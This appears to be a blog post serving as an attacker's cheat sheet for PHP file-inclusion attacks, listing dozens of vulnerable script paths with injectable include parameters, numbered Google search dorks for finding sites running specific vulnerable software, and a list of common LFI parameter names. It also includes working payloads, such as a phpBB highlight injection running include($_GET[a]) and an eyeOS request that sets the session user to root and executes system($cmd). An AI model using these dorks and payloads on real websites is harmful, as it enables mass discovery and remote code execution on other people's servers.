/allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=

/myPHPCalendar/admin.php?cal_dir=

/agendax/addevent.inc.php?agendax_path=

/modules/mod_mainmenu.php?mosConfig_absolute_path=

/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=

/main.php?page=

/default.php?page=

/index.php?action=

/index1.php?p=

/index2.php?x=

/index2.php?content=

/index.php?conteudo=

/index.php?cat=

/include/new-visitor.inc.php?lvc_include_dir=

/modules/agendax/addevent.inc.php?agendax_path=

/shoutbox/expanded.php?conf=

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

/pivot/modules/module_db.php?pivot_path=

/library/editor/editor.php?root=

/library/lib.php?root=

/e107/e107_handlers/secure_img_render.php?p=

/zentrack/index.php?configFile=

/main.php?x=

/becommunity/community/index.php?pageurl=

/GradeMap/index.php?page=

/index4.php?body=

/side/index.php?side=

/main.php?page=

/es/index.php?action=

/index.php?sec=

/index.php?main=

/index.php?sec=

/index.php?menu=

/html/page.php?page=

/page.php?view=

/index.php?menu=

/main.php?view=

/index.php?page=

/content.php?page=

/main.php?page=

/index.php?x=

/main_site.php?page=

/index.php?L2=

/content.php?page=

/main.php?page=

/index.php?x=

/main_site.php?page=

/index.php?L2=

/index.php?show=

/tutorials/print.php?page=

/index.php?page=

/index.php?level=

/index.php?file=

/index.php?inter_url=

/index.php?page=

/index2.php?menu=

/index.php?level=

/index1.php?main=

/index1.php?nav=

/index1.php?link=

/index2.php?page=

/index.php?myContent=

/index.php?TWC=

/index.php?sec=

/index1.php?main=

/index2.php?page=

/index.php?babInstallPath=

/main.php?body=

/index.php?z=

/main.php?view=

/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=

/index.php?file=

/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

1. allinurl:my_egallery site:.org
 /modules/My_eGallery/public/displayCategory.php?basepath=

2. allinurl:xgallery site:.org
 /modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

3. allinurl:coppermine site:.org
 /modules/coppermine/themes/default/theme.php?THEME_DIR=

4. allinurl:4nAlbum site:.org
 /modules/4nAlbum/public/displayCategory.php?basepath=

5. allinurlP:NphpBB2 site:.org
 /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=

6. allinurl:ihm.php?p=

7. Keyword : "powered by AllMyLinks"
 /include/footer.inc.php?_AMLconfig[cfg_serverpath]=

8. allinurl:/modules.php?name=allmyguests
 /modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

9. allinurl:/Popper/index.php?
 /Popper/index.php?childwindow.inc.php?form=

10. google = kietu/hit_js.php, allinurl:kietu/hit_js.php
 yahoo = by Kietu? v 3.2
 /kietu/index.php?kietu[url_hit]=

11. keyword : "Powered by phpBB 2.0.6"
 /html&highlight=%2527.include($_GET[a]),exit.%2527&a=

12. keyword : "powered by CubeCart 3.0.6"
 /includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=

13. keyword : "powered by paBugs 2.0 Beta 3"
 /class.mysql.php?path_to_bt_dir=

14. allinurl:"powered by AshNews", allinurl:AshNews atau
 allinurl: /ashnews.php
 /ashnews.php?pathtoashnews=

15. keyword : /phorum/login.php
 /phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=

16. allinurl:ihm.php?p=*

14. keyword : "powered eyeOs"
 /eyeos/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.
 eyeapp&_SESSION%5busr%5d=root&_SESSION%5bapps%5d%5
 beyeOptions.eyeapp%5d%5bwrapup%5d=system($cmd);&cm d=id
 diganti dengan :
 /eyeos/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.
 eyeapp&_SESSION%5busr%5d=root&_SESSION%5bapps%5d%5
 beyeOptions.eyeapp%5d%5bwrapup%5d=include($_GET%5b a%5d);&a=

15. allinurl:.php?bodyfile=

16. allinurl:/includes/orderSuccess.inc.php?glob=
 /includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=

17. allinurl:forums.html
 /modules.php?name=

18. allinurl:/default.php?page=home

19. allinurl:/folder.php?id=

20. allinurl:main.php?pagina=
 /paginedinamiche/main.php?pagina=

21. Key Word: ( Nuke ET Copyright 2004 por Truzone. ) or (
 allinurl:*.edu.*/modules.php?name=allmyguests ) or ( "powered by
 AllMyGuests")
 /modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

22. allinurl:application.php?base_path=
 /application.php?base_path=

23. allinurlp:hplivehelper
 /phplivehelper/initiate.php?abs_path=

24. allinurlp:hpnuke
 /modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

25. key word : "powered by Fantastic News v2.1.2"
 /archive.php?CONFIG[script_path]=

26. keyword: "powered by smartblog" AND inurl:?page=login
 /index.php?page=

27. allinurl:/forum/
 /forum/admin/index.php?inc_conf=

28. keyword:"Powered By FusionPHP"
 /templates/headline_temp.php?nst_inc=

29. allinurl:shoutbox/expanded.php filetypep:hp
 /shoutbox/expanded.php?conf=

30. allinurl: /osticket/
 /osticket/include/main.php?config[search_disp]=true&include_dir=

31. keyword : "Powered by iUser"
 /common.php?include_path=

32. allinurl: "static.php?load="
 /static.php?load=

33. keyworld : /phpcoin/login.php
 /phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=

34. keyworld: allinurl:/phpGedview/login.php site:
 /help_text_vars.php?dir&PGV_BASE_DIRECTORY=

35. allinurl:/folder.php?id=
 /classes.php?LOCAL_PATH=
 LFI
 acion=
 act=
 action=
 API_HOME_DIR=
 board=
 cat=
 client_id=
 cmd=
 cont=
 current_frame=
 date=
 detail=
 dir=
 display=
 download=
 f=
 file=
 fileinclude=
 filename=
 firm_id=
 g=
 getdata=
 go=
 HT=
 idd=
 inc=
 incfile=
 incl=
 include_file=
 include_path=
 infile=
 info=
 ir=
 lang=
 language=
 link=
 load=
 main=
 mainspot=
 msg=
 num=
 openfile=
 p=
 page=
 pagina=
 path=
 path_to_calendar=
 pg=
 plik
 qry_str=
 ruta=
 safehtml=
 section=
 showfile=
 side=
 site_id=
 skin=
 static=
 str=
 strona=
 sub=
 tresc=
 url=

0 comments: